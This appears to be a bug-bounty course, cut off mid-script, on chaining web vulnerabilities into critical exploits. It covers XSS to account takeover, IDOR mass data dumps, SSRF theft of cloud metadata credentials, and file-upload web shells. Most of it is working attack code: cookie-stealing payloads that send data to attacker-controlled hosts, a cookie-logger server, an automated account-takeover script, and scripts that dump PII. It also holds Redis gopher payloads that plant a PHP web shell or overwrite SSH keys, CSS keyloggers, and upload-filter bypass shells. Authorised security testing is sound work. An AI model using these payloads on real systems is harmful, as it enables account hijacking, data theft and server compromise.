Loading...
Chain multiple low-severity bugs into critical exploits — XSS to ATO, IDOR to data breach, SSRF to cloud compromise
Chain a reflected XSS into full account compromise
Cross-Site Scripting (XSS) alone is often rated 'Medium' severity — but chain it with session theft and you have a Critical account takeover. This chapter teaches you to find XSS, capture cookies via a listener, hijack active sessions, and escalate to full ATO. Every bug hunter should master this chain — it's the most common path to a high-bounty payout.
You can't exploit what you can't find. Start with automated scanners to cast a wide net, then manually confirm each finding. Focus on stored XSS in user-profile fields, comments, and support tickets — these persist and affect other users. Reflected XSS in search params and redirects also work if you can phish an admin.
cat live-urls.txt | nuclei -t ~/nuclei-templates/ -tags xss -o xss-candidates.txtScan all live URLs with Nuclei's XSS template collection — catches reflected, stored, and DOM-based XSS
cat xss-candidates.txt | grep -iE 'stored|persistent' | tee stored-xss.txtFilter for stored/persistent XSS candidates — these are the most valuable for chaining
echo '<script>fetch("https://YOUR-COLLAB.com/?c="+document.cookie)</script>' > payload.txtCreate a cookie-stealing payload that exfiltrates cookies to your collaborator/Interactsh server
cat live-urls.txt | dalfox -b YOUR-COLLAB piped mode | tee dalfox-results.txtRun Dalfox in blind XSS mode — auto-injects payloads that phone back when executed by a victim
curl 'https://target.com/search?q=<script>alert(1)</script>' | grep -i 'alert'Quick manual XSS test — inject a simple alert payload and check if it reflects unfiltered
cat live-urls.txt | grep -E '\?|&' | httpx -silent -x GET -param 'q=<img+src=x+onerror=alert(1)>' -o xss-probed.txtParameterized XSS probe — injects a payload into each URL parameter and checks for reflection
python3 -c "import urllib.parse; print(urllib.parse.quote('<script>document.location=\'https://YOUR-SERVER/?\'+document.cookie</script>'))"URL-encode a cookie-stealing payload for use in reflected XSS via URL parameters
TIPS
Before exploiting XSS, you need a server to receive stolen cookies. A simple Python HTTP server works for testing. For production, use Interactsh or deploy a small VPS with nginx. The key is to log every request with the full cookie value so you can replay it later.
python3 -m http.server 8080 --bind 0.0.0.0Minimal HTTP server — logs all incoming requests including stolen cookies in query params
cat << 'EOF' > cookie-logger.py
#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse
class CookieHandler(BaseHTTPRequestHandler):
def do_GET(self):
params = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query)
if "c" in params:
cookie = params["c"][0]
with open("stolen-cookies.txt", "a") as f:
f.write(f"{cookie}\n")
print(f"[+] COOKIE STOLEN: {cookie}")
self.send_response(200)
self.end_headers()
self.wfile.write(b"ok")
HTTPServer(("0.0.0.0", 8080), CookieHandler).serve_forever()
EOF
chmod +x cookie-logger.py && python3 cookie-logger.pyDedicated cookie logger server — auto-logs cookies to a file, ready for replay against the target
interactsh-client -v | tee interactsh.logStart Interactsh client — provides a unique collaborator URL for blind XSS detection with verbose logging
ngrok http 8080 --log=stdout > ngrok.log 2>&1 &Expose your local cookie logger via ngrok — get a public URL that tunnels to your local server
echo 'https://YOUR-NGROK.ngrok.io/?c=' | xclip -selection clipboardCopy your collaborator URL to clipboard — ready to paste into XSS payloads for quick testing
tail -f stolen-cookies.txtWatch for incoming cookies in real-time — each new line is a stolen session waiting to be hijacked
TIPS
Modern browsers have HttpOnly and Secure flags that prevent JavaScript from reading cookies via document.cookie. But not all cookies are protected. Even when session cookies are HttpOnly, you can still steal CSRF tokens, perform actions on behalf of the user, or use the XSS to modify the page in real-time.
'><script>new Image().src="https://YOUR-SERVER/?c="+document.cookie</script>Classic cookie-stealer via image request — fires immediately, no user interaction needed
'"><img src=x onerror="fetch('https://YOUR-SERVER/?c='+document.cookie)">Img tag variant that works when script tags are blocked by CSP or WAF rules
'"><svg onload="fetch('https://YOUR-SERVER/?c='+btoa(document.cookie))">SVG onload payload with base64-encoded cookie — bypasses filters detecting 'document.cookie' as plaintext
fetch('/api/user/profile').then(r=>r.json()).then(d=>fetch('https://YOUR-SERVER/?d='+btoa(JSON.stringify(d))))XSS payload that fetches the victim's profile data and exfiltrates it — useful when cookies are HttpOnly
document.querySelector('input[name=csrf]')?.value || 'no-csrf'Test query to check if CSRF tokens are accessible from JavaScript — if yes, you can forge requests without the session cookie
fetch('https://YOUR-SERVER/?html='+btoa(document.body.innerHTML))Exfiltrate the entire page HTML — useful for finding CSRF forms, API tokens, and user-specific data
navigator.sendBeacon('https://YOUR-SERVER/log', document.cookie)SendBeacon payload — fires even when the page is being unloaded, more reliable than fetch for exfiltration
TIPS
With a stolen session cookie, you can impersonate the victim. But timing matters — sessions expire, IP checks trigger, and MFA may reset tokens on suspicious activity. This section covers cookie replay, session validation, and escalating from a hijacked session to full account takeover.
curl -s 'https://target.com/api/user/profile' -H 'Cookie: session=STOLEN_SESSION_VALUE' | jq .Replay the stolen cookie against an authenticated API endpoint — if it returns user data, the session is alive
curl -s -I 'https://target.com/dashboard' -H 'Cookie: session=STOLEN_SESSION_VALUE' | grep -i 'set-cookie'Check if the server sets a new session cookie — if yes, the old one was rotated and you need to re-steal
#!/bin/bash
# hijack.sh — replay cookie against multiple endpoints
COOKIE="session=STOLEN_VALUE"
for path in /dashboard /api/user /profile /account /admin; do
status=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com$path" -H "Cookie: $COOKIE")
echo "$path → $status"
doneCookie replay script — test the stolen session against multiple endpoints to assess access level
curl -s 'https://target.com/api/user/profile' -H 'Cookie: session=STOLEN_VALUE' -H 'User-Agent: VICTIMS_UA' | jq '.email, .role, .two_factor_enabled'Extract victim details — email, role, and MFA status help you plan the next step
curl -s -X POST 'https://target.com/api/user/change-email' -H 'Cookie: session=STOLEN_VALUE' -H 'Content-Type: application/json' -d '{"email":"attacker@evil.com"}'Email change request via API — if successful, triggers password reset to your email, completing ATO
curl -s -X POST 'https://target.com/api/user/export-data' -H 'Cookie: session=STOLEN_VALUE'Data export request — exfiltrate the victim's personal data (PII) for maximum impact reporting
cat << 'EOF' > auto-ato.py
#!/usr/bin/env python3
import requests, sys
base = sys.argv[1]
cookie = {"session": sys.argv[2]}
# Step 1: Verify session
r = requests.get(f"{base}/api/user/profile", cookies=cookie)
print(f"[+] Logged in as: {r.json().get("email")}")
# Step 2: Extract CSRF token
r = requests.get(f"{base}/dashboard", cookies=cookie)
token = r.text.split('csrf_token"')[1].split('"')[1]
print(f"[+] CSRF token: {token}")
# Step 3: Change email (ATO)
r = requests.post(f"{base}/api/user/change-email", json={"email": "owned@evil.com"}, cookies=cookie, headers={"X-CSRF-Token": token})
print(f"[+] ATO result: {r.status_code}")
EOFFull ATO automation script — verify session, extract CSRF token, and change email in one command
TIPS
DOM Clobbering lets you inject HTML elements that shadow JavaScript variables — bypassing CSP entirely because no inline script executes. Mutation XSS (mXSS) exploits sanitizer bugs where the DOM mutates after sanitization, turning a safe string into executable code. These are the most creative XSS vectors and often bypass every WAF and CSP.
cat live-urls.txt | grep -E 'id=|name=|class=' | head -20Find elements with id/name attributes — DOM clobbering targets elements that become global window properties
'"><a id="x"><a id="x" href="javascript:alert(1)">click</a>DOM clobbering payload: anchor elements with the same ID shadow each other — href becomes clobbered property
'"><form id="config"><input name="csrf" value="attacker-token"></form><script>submitForm(config.csrf.value)</script>Clobber form.config.csrf — shadows the real CSRF token with an attacker-controlled value
'"><img src=x><iframe srcdoc="<script>alert(1)</script>">mXSS via iframe srcdoc — sanitizer sees a harmless img tag, browser renders the iframe with script execution
cat live-urls.txt | grep -i 'innerHTML\|insertAdjacentHTML\|DOMPurify\|sanitize' > dom-sink-candidates.txtFind pages using innerHTML or DOMPurify — mXSS requires DOM mutation sinks after sanitization
python3 -c "import html; payload = '<math><style><!--</style><img src=x onerror=alert(1)>'; print('Test with DOMPurify:', payload)"Classic mXSS payload: math+style+comment tricks DOMPurify into accepting dangerous content that mutates later
cat dom-sink-candidates.txt | nuclei -t ~/nuclei-templates/ -tags dom-xss -o dom-xss-candidates.txtScan discovered DOM sinks for DOM-based XSS — catches clobbering and mutation vectors automatically
TIPS
CSS injection is the most underestimated XSS vector. When you can inject arbitrary CSS, you can exfiltrate data without JavaScript at all. CSS attribute selectors can leak CSRF tokens character by character via background-image URL callbacks. CSS keylogging via @font-face + ligature fonts captures every keystroke — completely silently.
'"><style>input[type=password][value^="a"]{background:url(https://YOUR-SERVER/?char=a)}</style>CSS attribute selector: fires a callback when the password input value starts with 'a' — brute-forceable character by character
cat << 'EOF' > css-exfiltrator.html
<!DOCTYPE html><html><head>
<style>
@font-face { font-family: x; src: url(https://YOUR-SERVER/font?q=), local(Times New Roman);}
input { font-family: x; }
</style></head><body>
<!-- inject this into a page where you control CSS -->
EOF
echo "CSS exfiltration template — inject this via <style> tag in your XSS payload"CSS keylogger template — custom font family triggers font-load callback on keystroke, capturing typed keys
'"><style>@import url(//YOUR-SERVER/style.css)</style>CSS @import exfiltration: your server receives the request immediately when the CSS loads — proves injection works
python3 -c "
import string, urllib.parse
css = ''
for c in string.hexdigits:
selector = f'input[name=csrf][value*=\"{c}\"]{{background:url(https://YOUR-SERVER/tokenc={c})}}'
css += selector + '\n'
print(urllib.parse.quote(css))
"Generate CSS selectors for every hex character — when injected, brute-forces CSRF tokens char by char via callbacks
'"><link rel="stylesheet" href="https://YOUR-SERVER/evil.css">External CSS import — loads your stylesheet from your server, confirming CSS injection and enabling larger payloads
'"><style>#secret{background:url(https://YOUR-SERVER/?id=)}:has(#secret){background:url(https://YOUR-SERVER/?found=yes)}</style>CSS :has() selector — modern CSS pseudo-class that detects if an element with a given ID exists on the page
echo '<style>body{background:url(https://YOUR-SERVER/body)}</style>' | dalfox pipe --custom-payload -CSS-only XSS payload via dalfox — injects a CSS payload that fires a callback without any JavaScript execution
TIPS
TOOLS IN THIS CHAIN
Fast XSS scanner with blind XSS mode, parameter analysis, and automatic payload generation
go install github.com/hahwul/dalfox/v2@latestOut-of-band interaction client for blind XSS, SSRF, and XXE detection — free collaborator URLs
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latestTunneling service that exposes your local server via a public URL — useful for cookie catching
Universal HTTP client for cookie replay, request forgery, and API testing
apt install curlYou now understand the XSS-to-ATO chain end-to-end: discovering XSS vulnerabilities, setting up a cookie catcher, crafting payloads that bypass modern protections, and replaying sessions to take over accounts. This is the most reliable chain for high-severity bug bounty reports.
Exploit missing access controls to leak data and escalate privileges
Insecure Direct Object References (IDOR) are the most common access control flaw on the web. When an API trusts user-supplied IDs without verifying ownership, anyone can access anyone else's data. This chapter covers finding IDORs at scale, automating data exfiltration, and chaining multiple IDORs to escalate from user to admin.
IDORs hide in API endpoints that accept user IDs, document IDs, order numbers, or sequential integers. The key is to replace your ID with another user's ID and observe the response. Automate this by creating two accounts, collecting endpoints from one, and replaying them against the other.
cat live-urls.txt | grep -E '/api/|/v[0-9]/|/user/|/document/|/order/|/profile/' > api-endpoints.txtExtract all potential API endpoints from your recon data — IDORs live in authenticated routes with IDs
cat api-endpoints.txt | httpx -silent -mc 200 -o accessible-apis.txtProbe which endpoints return 200 — many hidden API routes respond but aren't linked from the frontend
burp-stateful-idor.py --url https://target.com/api/user/1337 --session 'your-session' --iterations 50Automated IDOR scanner that iterates through user IDs to find accessible profiles (requires Burp or custom script)
cat accessible-apis.txt | grep -E '[0-9]{4,}' | sed 's/[0-9]\{4,\}/FUZZ/g' | sort -uNormalize API paths by replacing numeric IDs with FUZZ — ready for fuzzing with ffuf or nuclei
ffuf -u 'https://target.com/api/user/FUZZ/profile' -w ids.txt -H 'Cookie: session=YOUR_SESSION' -fc 403,404 -o ffuf-idor.jsonFuzz user IDs through an authenticated endpoint — filter out 403/404 to find accessible profiles
cat ffuf-idor.json | jq -r '.results[] | select(.status == 200) | .input.FUZZ' > valid-idor-ids.txtExtract all user IDs that returned 200 — these are potential IDOR hits worth manual investigation
autorize --url https://target.com --low-priv-session 'user123' --admin-url https://target.com/admin -o autorize-report.htmlRun Autorize — compares responses with low-priv vs admin session to find privilege escalation paths
TIPS
Once you've found an IDOR, automate the extraction. A single IDOR might expose one record — automation lets you dump thousands. The goal is to demonstrate impact: collect enough PII to prove a data breach. Always set limits and respect program scope during automated extraction.
#!/bin/bash
# mass-idor-dump.sh — extract all user profiles
API="https://target.com/api/user"
COOKIE="session=YOUR_SESSION"
for id in $(seq 1000 2000); do
data=$(curl -s "$API/$id/profile" -H "Cookie: $COOKIE")
if echo "$data" | grep -q '"email"'; then
echo "$id: $data" >> idor-dump.txt
echo "Found user $id"
fi
done
echo "Dumped $(wc -l < idor-dump.txt) profiles"Mass profile dumper — iterates through user IDs 1000-2000 and saves any that return profile data
cat idor-dump.txt | grep -oP '"email":"[^"]+' | cut -d'"' -f4 | sort -u > leaked-emails.txtExtract all leaked email addresses from your IDOR dump — quantifiable PII for the report
cat idor-dump.txt | grep -oP '"phone":"[^"]+' | cut -d'"' -f4 | sort -u > leaked-phones.txtExtract phone numbers — demonstrates sensitive PII is accessible, increasing report severity
#!/bin/bash
# idor-diff.sh — compare two users to confirm IDOR
USER_A=$(curl -s "https://target.com/api/user/1/profile" -H "Cookie: $SESSION_A" | jq -c .)
USER_B=$(curl -s "https://target.com/api/user/2/profile" -H "Cookie: $SESSION_A" | jq -c .)
if [ "$USER_A" != "$USER_B" ]; then
echo "IDOR CONFIRMED: User A sees different data for user 1 vs user 2"
echo "User 1: $USER_A"
echo "User 2: $USER_B"
fiIDOR confirmation script — compare two users' data from the same session to prove access control failure
parallel -j 10 'curl -s "https://target.com/api/order/{}" -H "Cookie: $COOKIE"' :::: id-list.txt > all-orders.jsonParallel IDOR dump with GNU Parallel — 10 simultaneous requests, useful for time-sensitive extraction
cat all-orders.json | jq -s '[.[] | {id: .id, total: .total, email: .email}]' > summarized-leak.jsonSummarize extracted JSON into a clean report format — id, total, email per order for impact demonstration
TIPS
One IDOR might reveal a user's email. A second IDOR on a different endpoint lets you change that user's password. Chain them together for a privilege escalation. The most powerful chains involve IDORs that leak security questions, reset tokens, or allow direct role modification.
curl -s 'https://target.com/api/user/1337/security-questions' -H 'Cookie: YOUR_SESSION' | jq .Check if security questions are exposed via IDOR — if yes, you can answer them for any user
curl -s -X POST 'https://target.com/api/user/password/reset' -H 'Content-Type: application/json' -d '{"email":"victim@target.com"}'Trigger a password reset for the victim via their leaked email — second step in the escalation chain
curl -s 'https://target.com/api/password-reset/confirm?token=LEAKED_TOKEN' -H 'Cookie: YOUR_SESSION' | jq .Check if password reset tokens are exposed via another IDOR — chain: email leak → token leak → password change
curl -s -X PUT 'https://target.com/api/user/1337/role' -H 'Cookie: YOUR_SESSION' -H 'Content-Type: application/json' -d '{"role":"admin"}'IDOR-based privilege escalation — try changing another user's role directly via the API endpoint
curl -s 'https://target.com/api/admin/users' -H 'Cookie: USER_SESSION' | jq '. | length'After escalating to admin via IDOR, confirm access to admin-only endpoints — the final link in the chain
curl -s -X DELETE 'https://target.com/api/user/1337/documents' -H 'Cookie: YOUR_SESSION'Check for destructive IDOR — unauthorized deletion of another user's data is a critical finding
for user in $(cat leaked-user-ids.txt); do echo "User $user role: $(curl -s "https://target.com/api/user/$user/role" -H "Cookie: SESSION" | jq -r .role)"; doneBulk role check — probe multiple users' roles via IDOR to find admin accounts for targeted attacks
TIPS
GraphQL aliases let you query the same field multiple times in one request with different arguments. When access control is checked once per query (not per field), you can leak every user's data in a single request by aliasing the same field with different IDs. This bypasses per-query rate limits and often evades access control entirely.
cat << 'EOF' > graphql-idor.txt
query MassIDOR {
user1: user(id: 1) { email role ssn }
user2: user(id: 2) { email role ssn }
user3: user(id: 3) { email role ssn }
user4: user(id: 4) { email role ssn }
user5: user(id: 5) { email role ssn }
}GraphQL alias IDOR: one query, 5 different user IDs — if access control checks once per query, all leak at once
curl -s -X POST 'https://target.com/graphql' -H 'Content-Type: application/json' -H 'Cookie: YOUR_SESSION' -d '{"query":"query M{user1:user(id:1){email}}user2:user(id:2){email}}"}' | jq .Send the alias IDOR query via curl — compact inline form to quickly test for batch data leaks
python3 -c "q = 'query M{' + ' '.join([f'u{i}:user(id:{i}){{email}}' for i in range(1,51)]) + '}'; print(q)" | tee mass-alias-query.txtGenerate a GraphQL query with 50 aliases — leaks 50 user emails in one request if access control is broken
curl -s -X POST 'https://target.com/graphql' -H 'Content-Type: application/json' -H 'Cookie: SESSION' -d @mass-alias-query.txt | jq -r '.data | to_entries[] | select(.value != null) | [.key, .value.email] | @tsv'Parse the alias IDOR response — extract only non-null results (confirmed accessible users) with their emails
cat live-urls.txt | grep -i '/graphql\|/gql\|/v1/graphql\|/query' > graphql-endpoints.txtDiscover GraphQL endpoints from your recon data — every GraphQL endpoint is a potential alias IDOR target
curl -s 'https://target.com/graphql' -H 'Content-Type: application/json' -d '{"query":"{__schema{types{name}}}"}' | jq '.data.__schema.types[].name' | head -40GraphQL introspection query — dump all available types to find user and user-like objects for alias IDOR
cat graphql-endpoints.txt | while read url; do curl -s "$url" -H 'Content-Type: application/json' -d '{"query":"{__schema{queryType{fields{name}}}}"}' | jq -r '.data.__schema.queryType.fields[].name' | tee "$(echo $url | tr '/' '_')-queries.txt"; doneBatch introspection across all discovered GraphQL endpoints — identify which ones expose user queries
TIPS
Not all IDORs show data directly — some leak information through side channels. A different response time indicates the record exists but access is denied. A different content-length (even when body is 'unauthorized') means the server processed different data. These blind IDORs require creative detection but can still prove impact.
#!/bin/bash
# idor-timing.sh — detect IDOR via response timing differences
for id in $(seq 1 100); do
start=$(date +%s%N)
status=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com/api/user/$id" -H "Cookie: SESSION")
end=$(date +%s%N)
ms=$(( (end - start) / 1000000 ))
echo "$id: $status ($ms ms)"
doneTiming-based IDOR scanner: records response time per user ID — slower responses may indicate real data processing
cat idor-timing-results.txt | sort -t'(' -k2 -rn | head -20Sort timing results by response time — the slowest responses likely indicate real data was loaded internally
#!/bin/bash
# content-length-idor.sh
for id in $(seq 1 100); do
len=$(curl -s -o /dev/null -w "%{size_download}" "https://target.com/api/user/$id" -H "Cookie: SESSION")
echo "$id: $len bytes"
done | sort -t: -k2 -rn | head -20Content-length IDOR detection: different response sizes for different IDs (even with 'unauthorized' body) indicate data access
curl -s -o /dev/null -w '%{http_code} %{size_download} %{time_total}' 'https://target.com/api/user/1' -H 'Cookie: SESSION'Single-request probe: http_code + size + timing in one command — three side-channel signals for IDOR detection
curl -s -D - 'https://target.com/api/user/1' -H 'Cookie: SESSION' -o /dev/null 2>&1 | head -20Dump response headers — some IDORs leak the user ID via X-User-Id, Location, or ETag headers even when body is hidden
diff <(curl -s 'https://target.com/api/user/1' -H 'Cookie: SESSION_A') <(curl -s 'https://target.com/api/user/2' -H 'Cookie: SESSION_A')Side-channel diff: compare responses for user 1 vs user 2 using the same session — any difference = IDOR confirmed
curl -s 'https://target.com/api/search/users?q=test' -H 'Cookie: SESSION' | jq '.data | length'Search endpoint IDOR: if the search returns results including users from other organizations, that's a blind IDOR
TIPS
TOOLS IN THIS CHAIN
Fast web fuzzer for IDOR parameter discovery and ID enumeration
go install github.com/ffuf/ffuf/v2@latestBurp extension that performs automatic authorization checks for IDOR detection
Command-line JSON processor for parsing API responses and extracting leaked data
apt install jqGNU Parallel for mass IDOR extraction — useful when you need to dump records quickly
apt install parallelYou now know how to find IDORs at scale, automate data exfiltration to demonstrate impact, and chain multiple IDORs together for privilege escalation. The IDOR-to-ATO chain consistently pays high bounties because it bypasses authentication entirely.
Turn a blind SSRF into total cloud compromise
Server-Side Request Forgery (SSRF) is the most dangerous cloud vulnerability. When a server fetches a URL you control, you can redirect it to the cloud metadata service, steal IAM credentials, and access the entire cloud environment. This chapter covers SSRF discovery, metadata service exploitation, and credential exfiltration.
SSRF lurks in any feature that fetches external content: webhooks, PDF generators, image processors, RSS feeds, and proxy functionality. Blind SSRF (no response visible) is harder to find but equally dangerous — use an external collaborator to detect callbacks. Time-based SSRF detection also works when you control request timing.
cat live-urls.txt | grep -iE 'url=|link=|src=|href=|redirect=|callback=|webhook=|fetch=|proxy=|path=' > ssrf-candidates.txtFind potential SSRF-prone parameters — any param that might cause the server to fetch a URL
curl -s 'https://target.com/fetch?url=http://YOUR-COLLABORATOR.oastify.com' -v 2>&1 | grep -i 'location\|callback'Test SSRF by injecting your collaborator URL — check server logs for incoming requests
curl -s 'https://target.com/proxy?url=http://169.254.169.254/latest/meta-data/' -o metadata-response.txtDirect cloud metadata probe — if the server fetches and returns 169.254.169.254, you have SSRF with data echo
ffuf -u 'https://target.com/fetch?url=FUZZ' -w ssrf-payloads.txt -o ssrf-results.json -fc 400,404Fuzz SSRF parameters with a wordlist of internal URLs and collaborator URLs — find blind SSRF callbacks
curl -s 'https://target.com/convert?url=http://127.0.0.1:3306' --connect-timeout 5 -o /dev/null -w '%{http_code}'Port scan via SSRF — check if internal MySQL port (3306) is accessible by observing timing/response differences
cat ssrf-results.json | jq -r '.results[] | select(.status == 200) | .input.FUZZ' > confirmed-ssrf.txtExtract confirmed SSRF payloads that returned 200 — these are endpoints that fetch external URLs successfully
curl 'https://target.com/api/image?url=http://burpcollaborator.net/test' --proxy http://127.0.0.1:8080Route SSRF test through Burp proxy to inspect the request/response in detail for confirmation
TIPS
Every major cloud provider exposes instance metadata at 169.254.169.254. When SSRF is present, you can read this metadata to get IAM credentials, instance tags, user-data scripts, and cloud provider-specific secrets. AWS IMDSv1 is trivially exploitable; IMDSv2 requires additional headers but is still bypassable.
curl -s 'https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/'AWS SSRF: list all IAM roles attached to the instance — each role name maps to a set of credentials
curl -s 'https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME'Extract IAM credentials for a specific role — returns AccessKeyId, SecretAccessKey, and Token
curl -s 'https://target.com/fetch?url=http://169.254.169.254/latest/user-data'Retrieve instance user-data — often contains startup scripts with hardcoded secrets, API keys, and passwords
curl -s 'https://target.com/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01' -H 'Metadata: true'Azure SSRF: retrieve instance metadata with the required Metadata header — returns full config
curl -s 'https://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/' -H 'Metadata-Flavor: Google'GCP SSRF: retrieve metadata with the Metadata-Flavor header — access service account tokens and project info
curl -s 'https://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' -H 'Metadata-Flavor: Google'GCP SSRF: extract the default service account's access token — use with gcloud CLI to access cloud resources
curl -s 'https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/network/interfaces/macs/'List MAC addresses and associated VPC/subnet info — helps map the internal network topology
curl -s 'https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/public-keys/'Retrieve public SSH keys from metadata — if you find them, you might be able to SSH into the instance
TIPS
Stolen cloud credentials are the final prize. Use them to access S3 buckets, download database backups, or pivot to other cloud services. The AWS CLI lets you assume roles, list resources, and export data. This section covers validating stolen credentials and demonstrating cloud-wide impact.
export AWS_ACCESS_KEY_ID=STOLEN_KEY && export AWS_SECRET_ACCESS_KEY=STOLEN_SECRET && export AWS_SESSION_TOKEN=STOLEN_TOKEN && aws sts get-caller-identityValidate stolen AWS credentials — confirms the role, account ID, and that the keys are active
aws s3 ls --region us-east-1 2>&1 | head -20List all S3 buckets accessible with the stolen credentials — may include internal data stores
aws s3 sync s3://internal-bucket-name/ ./exfiltrated-data/ --no-sign-request --region us-east-1 2>&1Download an S3 bucket's contents — add --no-sign-request if the bucket is public for faster access
aws ec2 describe-instances --region us-east-1 --query 'Reservations[].Instances[].[InstanceId,State.Name,Tags[?Key==`Name`].Value[]]' --output tableList all EC2 instances in the account — demonstrates the scope of cloud access from the stolen creds
aws rds describe-db-instances --region us-east-1 --query 'DBInstances[].[DBInstanceIdentifier,DBInstanceStatus,Endpoint.Address]' --output tableList RDS databases — if you find a publicly accessible database, the impact escalates to data breach
gcloud auth activate-service-account --key-file=stolen-key.json && gcloud projects listAuthenticate with stolen GCP service account key and list all accessible projects
gcloud storage ls --recursive gs://internal-bucket/List all objects in a GCP storage bucket using the stolen service account's credentials
az login --identity -u STOLEN_CLIENT_ID && az vm list --output tableAuthenticate with stolen Azure managed identity and list all VMs in the subscription
TIPS
Gopher is the most powerful SSRF protocol. When a server's URL parser supports the gopher:// scheme, you can send arbitrary TCP data to any internal service. Chain SSRF with internal Redis (default port 6379, no auth) to write an SSH key, create a cron job, or inject a web shell — turning a blind SSRF into full Remote Code Execution.
curl -s 'https://target.com/fetch?url=gopher://127.0.0.1:6379/_PING'Test gopher protocol support: if the server doesn't error, gopher is enabled — PING checks if Redis is reachable
python3 -c "
# Gopher payload: write SSH key to Redis for RCE
payload = b'*3\r\n\$3\r\nSET\r\n\$4\r\ncrond\r\n\$68\r\n*/1 * * * * root echo \"\$(cat /root/.ssh/authorized_keys)\" > /root/.ssh/authorized_keys\r\n'
import urllib.parse
print('gopher://127.0.0.1:6379/_' + urllib.parse.quote(payload.decode()))
"Generate gopher payload: Redis SET command that writes a cron job to overwrite SSH authorized_keys
cat << 'EOF' > gopher-redis.py
#!/usr/bin/env python3
import urllib.parse, sys
def redis_cmd(*args):
parts = [f"*{len(args)}\r\n"]
for a in args:
parts.append(f"${len(a.encode())}\r\n{a}\r\n")
return "".join(parts)
# Payload: write PHP web shell to webroot via Redis CONFIG SET
cmds = [
redis_cmd("CONFIG", "SET", "dir", "/var/www/html"),
redis_cmd("CONFIG", "SET", "dbfilename", "shell.php"),
redis_cmd("SET", "payload", "<?php system($_GET['cmd']); ?>"),
redis_cmd("BGSAVE"),
]
full = "".join(cmds)
encoded = urllib.parse.quote(full, safe="")
print(f"gopher://127.0.0.1:6379/_{encoded}")
EOF
python3 gopher-redis.pyGenerate Redis gopher payload that writes a PHP web shell via CONFIG SET + BGSAVE — full RCE in one URL
curl -s 'https://target.com/fetch?url=gopher://127.0.0.1:6379/_INFO' | grep -i 'redis_version\|os\|uptime'Extract Redis server info via gopher: version, OS, uptime — confirms connectivity and helps tailor the exploit
curl -s 'https://target.com/fetch?url=gopher://127.0.0.1:3306/_'Test gopher to MySQL port: if no error, internal MySQL is reachable and potentially exploitable via gopher
curl -s 'https://target.com/fetch?url=http://127.0.0.1:6379/' -o /dev/null -w '%{http_code}'Alternative test: HTTP request to Redis port — if it returns a 400+ error (not connection refused), Redis is open
for port in 6379 6380 11211 27017 9200 5432 3306; do code=$(curl -s -o /dev/null -w '%{http_code}' --connect-timeout 3 'https://target.com/fetch?url=http://127.0.0.1:'$port); echo "Port $port: $code"; doneInternal port scan via SSRF: probe common database/cache ports — non-zero response means the port is open
TIPS
Every 'Export to PDF' feature is a potential SSRF. Tools like wkhtmltopdf, Puppeteer, and Chromium render HTML server-side — meaning your injected <img>, <iframe>, or <link> tags trigger server-side requests from the renderer's IP. This SSRF often accesses internal services that the main web server can't reach, and can leak data via PDF output.
'"><img src="http://169.254.169.254/latest/meta-data/" width="1000" height="1000">PDF SSRF via <img>: if the PDF renderer loads the image server-side, cloud metadata appears in the generated PDF
'"><iframe src="http://127.0.0.1:8080/admin" width="100%" height="500px"></iframe>PDF SSRF via <iframe>: internal admin panel renders inside the PDF — output contains the panel's content
'"><link rel="stylesheet" href="http://YOUR-COLLABORATOR.oastify.com/exfil">PDF SSRF via <link>: CSS file request to your collaborator confirms the renderer is making server-side requests
curl -s 'https://target.com/export-pdf?url=http://YOUR-SERVER/payload.html' -o output.pdfProvide your own HTML to the PDF generator — full control over what the renderer loads and renders
cat output.pdf | strings | grep -i 'secret\|password\|flag\|admin\|internal\|cloud' | head -20Extract strings from generated PDF — look for leaked internal service content that rendered in the PDF
'"><script>document.body.innerHTML='<img src=http://169.254.169.254/latest/meta-data/iam/security-credentials/></script>PDF with JavaScript: if the renderer executes JS, redirect the page to load metadata — JS-enabled SSRF is more powerful
'"><meta http-equiv="refresh" content="0;url=http://127.0.0.1:3000/">HTML meta refresh redirect: the renderer follows the redirect and renders the internal page in the PDF output
echo 'https://target.com/export-pdf?url=http://127.0.0.1:5000/secret' > pdf-ssrf-candidates.txtIf the PDF generator accepts a URL parameter, try loading internal services directly — the PDF becomes your viewer
TIPS
TOOLS IN THIS CHAIN
Collaborator-based OOB detection for blind SSRF — essential for finding SSRF without response reflection
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latestEndpoint fuzzer for blind SSRF payload injection across multiple parameters
go install github.com/ffuf/ffuf/v2@latestAWS Command Line Interface — used to validate stolen credentials and explore cloud resources
apt install awscliGoogle Cloud CLI — authenticate with stolen service account keys and browse GCP resources
Can be downloaded from https://cloud.google.com/sdk/docs/installYou now understand the SSRF-to-cloud-compromise chain: discovering SSRF endpoints, exploiting cloud metadata services across AWS/GCP/Azure, and pivoting with stolen credentials to access S3 buckets, databases, and compute resources. SSRF chains consistently receive Critical severity ratings.
Turn a file upload form into full server access
File upload vulnerabilities are everywhere — profile pictures, document attachments, CSV imports, and theme uploads. A single unvalidated upload can give you a web shell, and a web shell is one command away from internal network access. This chapter covers bypassing upload filters, deploying web shells, and using the shell to pivot internally.
Modern applications validate uploads by extension, MIME type, magic bytes, or content inspection. Each filter has bypasses. The key is understanding which validation is in place and choosing the right bypass technique. Combine multiple bypasses for defense-in-depth filters.
echo '<?php system($_GET["cmd"]); ?>' > shell.php && file shell.phpCreate a minimal PHP web shell and verify its file type — the first step in any upload attack
echo '<?php system($_GET["cmd"]); ?>' > shell.php5 && file shell.php5PHP shell with .php5 extension — bypasses filters that only block .php but allow .php4/.php5/.phtml
echo 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.gif.php && file shell.gif.phpDouble extension with GIF header — file reads as GIF89a (valid image header), server executes as PHP
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg && mv image.jpg image.php.jpgEmbed PHP code in JPEG metadata — the image remains valid while containing executable PHP in EXIF data
#!/bin/bash
